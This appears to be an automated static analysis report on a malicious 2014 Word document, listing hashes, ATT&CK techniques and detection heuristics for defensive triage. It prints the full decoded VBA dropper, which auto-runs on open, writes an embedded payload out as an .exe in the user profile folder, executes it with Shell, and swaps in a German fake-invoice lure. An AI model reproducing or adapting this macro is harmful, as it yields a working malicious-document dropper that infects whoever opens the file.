Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 353224e5a6bd4974…

MALICIOUS

Office (OLE)

400.0 KB Created: 2014-07-25 16:42:00 Authoring application: Microsoft Office Word First seen: 2014-08-17
MD5: 3db3c9920c42eec414eb96a5baee0b28 SHA-1: 4bc49f22c227f31d9d001c1deb70dfc2cafb1ad1 SHA-256: 353224e5a6bd4974c770dc821899f97447c774c26befb9a1e758d4f33a6e677c
336 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen function, a common indicator of malicious documents. Heuristics indicate potential shell calls and the use of ScriptControl, suggesting the macro is designed to download and execute a second-stage payload. The document body explicitly instructs the user to enable content, a social engineering lure to bypass security measures.

Heuristics 14

  • MSScriptControl.ScriptControl — CVE-2015-0097 high CVE likely CVE_2015_0097_SC
    MSScriptControl.ScriptControl — CVE-2015-0097
  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         CwFPrOxIbWkjI = Shell(IFHBYjwGMHhws)
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
         Set GwFRhAofDRtQ = GetObject(, "word.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
         ugkjfpNxNfTueAu = Environ("USERPROFILE")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5280 bytes
SHA-256: 68ebe53c3d3abcc2501f85d3df54d0d3509a30812d46000969e50748f9ae1fe8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{95715BBF-82DC-4F1F-85D7-5B5E51747641}{56CA9AC5-1E03-47CD-90AF-63808AF9BDFE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "NewMacros"
Sub sUtBtjQyGvqTA()
     Dim hAKtYWIUykaFs As String
     Dim NvRAxzKQ As Integer
     Dim UfriOnyUmB As String
     Dim fHebaZBZLz As Paragraph
     Dim ugkjfpNxNfTueAu As String
     Dim mqVoPeHg As Byte
     Dim LsFYQA As Integer
     Dim RfEWttiC As String
     Dim CwFPrOxIbWkjI As Integer
     Dim XPYQaWg As String
     Dim TpTkgUKfPwqWR As Long
     Dim BGoxOBCN As Boolean
     Dim vvGoyOETthz As String
     NGxMulHqdY = "."
     vvGoyOETthz = "IUiKXOkteev"
     UfriOnyUmB = "oYekTxHzWmk"
     RfEWttiC = "exe"
     hAKtYWIUykaFs = vvGoyOETthz + NGxMulHqdY + RfEWttiC
     ugkjfpNxNfTueAu = Environ("USERPROFILE")
     ChDrive (ugkjfpNxNfTueAu)
     ChDir (ugkjfpNxNfTueAu)
     LsFYQA = FreeFile()

     ytYWGBmDuVMVs

     Debug.Print ("After OnTime: " & Now)

     Dim RmmeVDiizeHlel As String
     Dim VeyXWQqKdsqDO As ScriptControl
     Dim DDDXHmWQl As String
     Dim XORXOii As String
     Dim rwafSxyTuqtqvUp As Document
     Dim AxrPuczPeRYqdjC As String
     Set VeyXWQqKdsqDO = UserForm1.ScriptControl1
     VeyXWQqKdsqDO.Language = "VBS" + "cript"
     XORXOii = "ActiveDocument."
     AxrPuczPeRYqdjC = "Paragraphs"
     DDDXHmWQl = XORXOii + AxrPuczPeRYqdjC
     Set GwFRhAofDRtQ = GetObject(, "word.Application")
     On Error GoTo NYOpMdzVyjAJm
     VeyXWQqKdsqDO.AddObject "Obj", GwFRhAofDRtQ

NYOpMdzVyjAJm:
     For Each fHebaZBZLz In VeyXWQqKdsqDO.Eval("Obj." & DDDXHmWQl)
          zUjrSlmUSf (fHebaZBZLz)
          XPYQaWg = fHebaZBZLz.Range.Text
          Debug.Print ("After OnTime: " & Now)
          If (BGoxOBCN = True) Then
               TpTkgUKfPwqWR = 1
          Dim KTlskKWiwFE As Integer
          KTlskKWiwFE = 4
               While (TpTkgUKfPwqWR < Len(XPYQaWg))
                    mqVoPeHg = Mid(XPYQaWg, TpTkgUKfPwqWR, KTlskKWiwFE)
                    Debug.Print ("After OnTime: " & Now)
                    Put #LsFYQA, , mqVoPeHg
                    TpTkgUKfPwqWR = TpTkgUKfPwqWR + KTlskKWiwFE
               Wend
          ElseIf (InStr(1, XPYQaWg, UfriOnyUmB) > 0 And Len(XPYQaWg) > 0) Then
               Dim RBxXhsGMJRp As Boolean
               RBxXhsGMJRp = True
               BGoxOBCN = RBxXhsGMJRp
          End If
          Next
     Close #LsFYQA
     ksLBeidGcRDiLh (hAKtYWIUykaFs)
End Sub

Sub Auto_Open()
     sUtBtjQyGvqTA
End Sub

Sub fldtFcfax()
     Word.ActiveDocument.Range.Select
     Selection.WholeStory
     Selection.Delete Unit:=wdCharacter, Count:=1
     Dim yVlrHRtOdVSVNXO As Word.Document
     Set yVlrHRtOdVSVNXO = ThisDocument
     yVlrHRtOdVSVNXO.Range.InsertParagraphAfter
     yVlrHRtOdVSVNXO.Range.InsertAfter "Datei Nr. : 51123944" + vbLf
     yVlrHRtOdVSVNXO.Range.InsertAfter "" + vbLf
     yVlrHRtOdVSVNXO.Range.InsertAfter "Zu bezahlen:    575,82 EUR" + vbLf
     yVlrHRtOdVSVNXO.Range.InsertAfter "" + vbLf
     yVlrHRtOdVSVNXO.Range.InsertAfter "Bezahlt:    0,00 EURRest:   575,82 EUR" + vbLf
     yVlrHRtOdVSVNXO.Range.InsertAfter "" + vbLf
     yVlrHRtOdVSVNXO.Range.InsertAfter "Rente (Datei Nr. : 51123944" + vbLf
     yVlrHRtOdVSVNXO.Range.InsertAfter "" + vbLf
     yVlrHRtOdVSVNXO.Range.InsertAfter "Zu bezahlen:    575,82 EUR" + vbLf
     yVlrHRtOdVSVNXO.Range.InsertAfter "" + vbLf
     yVlrHRtOdVSVNXO.Range.InsertAfter "Bezahlt:    0,00 EURRest:   575,82 EUR" + vbLf
     yVlrHRtOdVSVNXO.Range.InsertAfter "" + vbLf
     yVlrHRtOdVSVNXO.Range.InsertAfter "Rente (berechnet bis 28052014):     326,73 EUR" + vbLf
     yVlrHRtOdVSVNXO.Range.InsertAfter "" + vbLf
     yVlrHRtOdVSVNXO.Range.InsertAfter "Kosten:     162,46 EURZu  bezahlen (totale balans)  1 065,01 EUR" + vbLf
     yVlrHRtOdVSVNXO.Range.InsertAfter "" + vbLf
End Sub

Sub zUjrSlmUSf(fuPhpssTB)
     DoEvents
End Sub

Sub AutoOpen()
     Auto_Open
End Sub

Sub ytYWGBmDuVMVs()
     Dim vvGoyOETthz As String
     Dim LsFYQA As Integer
     Dim hAKtYWIUykaFs As String
     Dim RfEWttiC As String
     Dim NGxMulHqdY As String
     NGxMulHqdY = "."
     RfEWttiC = "exe"
     vvGoyOETthz = "IUiKXOkteev"
     hAKtYWIUykaFs = vvGoyOETthz + NGxMulHqdY + RfEWttiC
     LsFYQA = FreeFile()
     Open hAKtYWIUykaFs For Binary As LsFYQA
End Sub

Sub Workbook_Open()
     Auto_Open
End Sub

Sub ksLBeidGcRDiLh(IFHBYjwGMHhws As String)
     Dim ugkjfpNxNfTueAu As String
     Dim CwFPrOxIbWkjI As Integer
     ugkjfpNxNfTueAu = Environ("USERPROFILE")
     ChDrive (ugkjfpNxNfTueAu)
     ChDir (ugkjfpNxNfTueAu)

     Debug.Print ("After OnTime: " & Now)

     CwFPrOxIbWkjI = Shell(IFHBYjwGMHhws)
     fldtFcfax
End Sub

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